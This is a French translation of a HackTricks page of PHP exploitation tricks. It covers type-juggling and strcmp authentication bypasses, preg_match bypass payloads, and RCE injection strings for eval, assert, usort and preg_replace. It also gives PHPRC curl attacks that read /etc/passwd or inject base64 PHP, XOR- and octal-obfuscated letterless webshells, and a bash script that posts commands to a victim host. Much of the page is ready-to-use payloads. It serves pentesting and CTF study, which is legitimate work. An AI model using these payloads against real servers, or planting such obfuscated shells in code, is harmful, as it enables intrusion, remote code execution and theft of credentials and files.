.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
Astuces PHP
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
Emplacement commun des cookies :
Cela est également valable pour les cookies de phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Lieux :
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Contournement des comparaisons en PHP
Comparaisons lâches/Type Juggling ( == )
Si ==
est utilisé en PHP, il peut y avoir des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" compare uniquement les valeurs transformées en le même type. Si vous voulez également comparer que le type des données comparées est le même, vous devez utiliser ===
.
Tableaux de comparaison PHP : https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
Une chaîne qui ne commence pas par un nombre est égale à un nombre"0xAAAA" == "43690" -> True
Les chaînes composées de nombres au format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec True comme résultat si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres)"0e3264578" == 0 --> True
Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0"0X3264578" == 0X --> True
Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0"0e12334" == "0" --> True
Ceci est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des chaînes déjà hachées avec ce format ici : https://github.com/spaze/hashes"X" == 0 --> True
Toute lettre dans une chaîne est égale à l'entier 0
Plus d'informations sur https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling affecte également la fonction in_array()
par défaut (vous devez définir sur true le troisième argument pour effectuer une comparaison stricte) :
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Si cette fonction est utilisée pour toute vérification d'authentification (comme la vérification du mot de passe) et que l'utilisateur contrôle un côté de la comparaison, il peut envoyer un tableau vide au lieu d'une chaîne de caractères comme valeur du mot de passe (https://example.com/login.php/?username=admin&password[]=
) et contourner cette vérification:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Le même erreur se produit avec strcasecmp()
Conversion de type strict
Même si ===
est utilisé, il peut y avoir des erreurs qui rendent la comparaison vulnérable à la conversion de type. Par exemple, si la comparaison convertit les données en un type d'objet différent avant de les comparer:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
pourrait être utilisé pour valider l'entrée de l'utilisateur (il vérifie si un mot/regex de liste noire est présent dans l'entrée de l'utilisateur et si ce n'est pas le cas, le code peut continuer son exécution).
Contournement de saut de ligne
Cependant, en délimitant le début de l'expression régulière, preg_match()
ne vérifie que la première ligne de l'entrée de l'utilisateur, puis si d'une manière ou d'une autre vous pouvez envoyer l'entrée sur plusieurs lignes, vous pourriez contourner cette vérification. Exemple :
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Pour contourner cette vérification, vous pourriez envoyer la valeur avec des sauts de ligne urlencodés (%0A
) ou si vous pouvez envoyer des données JSON, envoyez-les sur plusieurs lignes :
{
"cmd": "cat /etc/passwd"
}
Trouvez un exemple ici : https://ramadistra.dev/fbctf-2019-rceservice
Contournement d'erreur de longueur
(Ce contournement a apparemment été testé sur PHP 5.2.5 et je n'ai pas réussi à le faire fonctionner sur PHP 7.3.15)
Si vous pouvez envoyer à preg_match()
une entrée très grande valide, il ne pourra pas la traiter et vous pourrez contourner la vérification. Par exemple, s'il met en liste noire un JSON, vous pourriez envoyer :
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Contournement de ReDoS
Astuce de : https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223
En bref, le problème se produit car les fonctions preg_*
en PHP s'appuient sur la bibliothèque PCRE. Dans PCRE, certaines expressions régulières sont appariées en utilisant beaucoup d'appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP cette limite est par défaut à 100 000 ce qui dépasse la taille de la pile.
Cette discussion sur Stackoverflow a également été liée dans l'article où il est discuté plus en profondeur de ce problème. Notre tâche était maintenant claire :
Envoyer une entrée qui ferait faire plus de 100 000 récursions à l'expression régulière, provoquant un SIGSEGV, faisant en sorte que la fonction preg_match()
renvoie false
, ce qui fait croire à l'application que notre entrée n'est pas malveillante, en lançant la surprise à la fin de la charge utile quelque chose comme {system(<verybadcommand>)}
pour obtenir SSTI --> RCE --> drapeau :).
Eh bien, en termes d'expressions régulières, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", comme le document PHP le mentionne, elle est par défaut à 1 000 000 (1M) dans la variable pcre.backtrack_limit
.
Pour y parvenir, 'X'*500_001
donnera comme résultat 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) :
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling pour l'obscurcissement PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Exécution Après Redirection (EAR)
Si PHP redirige vers une autre page mais qu'aucune fonction die
ou exit
n'est appelée après que l'en-tête Location
soit défini, le PHP continue d'exécuter et d'ajouter des données au corps de la page :
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Exploitation de la Traversal de Chemin et de l'Inclusion de Fichier
Vérifiez:
{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}
Plus de astuces
- register_globals: Dans PHP < 4.1.1.1 ou s'ils sont mal configurés, register_globals peut être activé (ou leur comportement est imité). Cela implique que dans les variables globales comme $_GET si elles ont une valeur par exemple $_GET["param"]="1234", vous pouvez y accéder via $param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser les variables qui sont utilisées dans le code.
- Les cookies PHPSESSION du même domaine sont stockés au même endroit, donc si dans un domaine différents cookies sont utilisés dans différents chemins vous pouvez faire en sorte qu'un chemin accède au cookie du chemin en définissant la valeur du cookie de l'autre chemin.
De cette manière, si les deux chemins accèdent à une variable portant le même nom vous pouvez faire en sorte que la valeur de cette variable dans le chemin1 s'applique au chemin2. Ensuite, le chemin2 considérera comme valides les variables du chemin1 (en donnant au cookie le nom qui lui correspond dans le chemin2). - Lorsque vous avez les noms d'utilisateur des utilisateurs de la machine. Vérifiez l'adresse: /~<USERNAME> pour voir si les répertoires php sont activés.
- LFI et RCE en utilisant des wrappers php
password_hash/password_verify
Ces fonctions sont généralement utilisées en PHP pour générer des hachages à partir de mots de passe et pour vérifier si un mot de passe est correct par rapport à un hachage.
Les algorithmes pris en charge sont: PASSWORD_DEFAULT
et PASSWORD_BCRYPT
(commence par $2y$
). Notez que PASSWORD_DEFAULT est fréquemment identique à PASSWORD_BCRYPT. Et actuellement, PASSWORD_BCRYPT a une limite de taille en entrée de 72 octets. Par conséquent, lorsque vous essayez de hacher quelque chose de plus grand que 72 octets avec cet algorithme, seuls les premiers 72 octets seront utilisés:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
Contournement des en-têtes HTTP en abusant des erreurs PHP
Si une page PHP imprime des erreurs et renvoie une certaine entrée fournie par l'utilisateur, l'utilisateur peut faire en sorte que le serveur PHP renvoie un contenu suffisamment long pour que lorsqu'il essaie d'ajouter les en-têtes dans la réponse, le serveur génère une erreur.
Dans le scénario suivant, l'attaquant a provoqué des erreurs importantes sur le serveur, et comme vous pouvez le voir à l'écran, lorsque PHP a tenté de modifier les informations d'en-tête, il n'a pas pu (par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :
Exécution de code
system("ls");
`ls`;
shell_exec("ls");
Vérifiez ceci pour plus de fonctions PHP utiles
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Pour exécuter le code dans l'argument "replace", il est nécessaire d'avoir au moins une correspondance.
Cette option de preg_replace a été dépréciée à partir de PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Cette fonction en php vous permet d'exécuter du code qui est écrit dans une chaîne de caractères afin de retourner vrai ou faux (et en fonction de cela, modifier l'exécution). Habituellement, la variable utilisateur sera insérée au milieu d'une chaîne de caractères. Par exemple :
assert("strpos($_GET['page']),'..') === false")
--> Dans ce cas, pour obtenir RCE, vous pourriez faire :
?page=a','NeVeR') === false and system('ls') and strpos('a
Vous devrez casser la syntaxe du code, ajouter votre charge utile, puis la réparer. Vous pouvez utiliser des opérations logiques telles que "and" ou "%26%26" ou "|". Notez que "or", "||" ne fonctionne pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De la même manière, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.
Une autre option est d'ajouter à la chaîne l'exécution de la commande : '.highlight_file('.passwd').'
Autre option (si vous avez le code interne) est de modifier une variable pour altérer l'exécution : $file = "hola"
RCE via usort()
Cette fonction est utilisée pour trier un tableau d'éléments en utilisant une fonction spécifique.
Pour abuser de cette fonction :
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
RCE via .httaccess
Si vous pouvez uploader un .htaccess, alors vous pouvez configurer plusieurs choses et même exécuter du code (en configurant que les fichiers avec l'extension .htaccess peuvent être exécutés).
Différentes coquilles .htaccess peuvent être trouvées ici
RCE via Variables d'Environnement
Si vous trouvez une vulnérabilité qui vous permet de modifier les variables d'environnement en PHP (et une autre pour uploader des fichiers, bien qu'avec plus de recherche cela puisse être contourné), vous pourriez abuser de ce comportement pour obtenir RCE.
LD_PRELOAD
: Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela pourrait ne pas fonctionner).PHPRC
: Indique à PHP où trouver son fichier de configuration, généralement appeléphp.ini
. Si vous pouvez uploader votre propre fichier de configuration, alors utilisezPHPRC
pour le pointer vers PHP. Ajoutez une entréeauto_prepend_file
spécifiant un deuxième fichier uploadé. Ce deuxième fichier contient du code PHP normal, qui est ensuite exécuté par le moteur PHP avant tout autre code.
- Uploadez un fichier PHP contenant notre code de coquille
- Uploadez un deuxième fichier, contenant une directive
auto_prepend_file
indiquant au préprocesseur PHP d'exécuter le fichier que nous avons uploadé à l'étape 1 - Définissez la variable
PHPRC
sur le fichier que nous avons uploadé à l'étape 2.
- Obtenez plus d'informations sur la façon d'exécuter cette chaîne à partir du rapport original.
- PHPRC - une autre option
- Si vous ne pouvez pas uploader de fichiers, vous pourriez utiliser dans FreeBSD le "fichier"
/dev/fd/0
qui contient lestdin
, étant le corps de la requête envoyée austdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Ou pour obtenir RCE, activez
allow_url_include
et préfixez un fichier avec du code PHP en base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Technique de ce rapport.
Analyse Statique PHP
Vérifiez si vous pouvez insérer du code dans les appels à ces fonctions (de ici):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Si vous déboguez une application PHP, vous pouvez activer l'affichage des erreurs globalement dans /etc/php5/apache2/php.ini
en ajoutant display_errors = On
et redémarrer Apache : sudo systemctl restart apache2
Déobfuscation de code PHP
Vous pouvez utiliser le site web www.unphp.net pour déobfusquer du code PHP.
Enveloppes et protocoles PHP
Les enveloppes et protocoles PHP pourraient vous permettre de contourner les protections en écriture et en lecture dans un système et le compromettre. Pour plus d'informations, consultez cette page.
RCE non authentifié Xdebug
Si vous constatez que Xdebug est activé dans la sortie de phpconfig()
, vous devriez essayer d'obtenir une RCE via https://github.com/nqxcode/xdebug-exploit
Variables variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusant de new $_GET["a"]($_GET["b"])
Si dans une page vous pouvez créer un nouvel objet d'une classe arbitraire, vous pourriez obtenir une RCE, consultez la page suivante pour apprendre comment faire :
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
Exécuter du PHP sans lettres
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Utilisation d'octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
Code shell XOR facile
Selon cette explication, il est possible de générer un code shell facile de cette manière :
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Donc, si vous pouvez exécuter du PHP arbitraire sans chiffres ni lettres, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire :
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Pour une explication plus approfondie, consultez https://ctf-wiki.org/web/php/php/#preg_match
Code shell XOR (à l'intérieur de eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl like
Comme Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!
D'autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.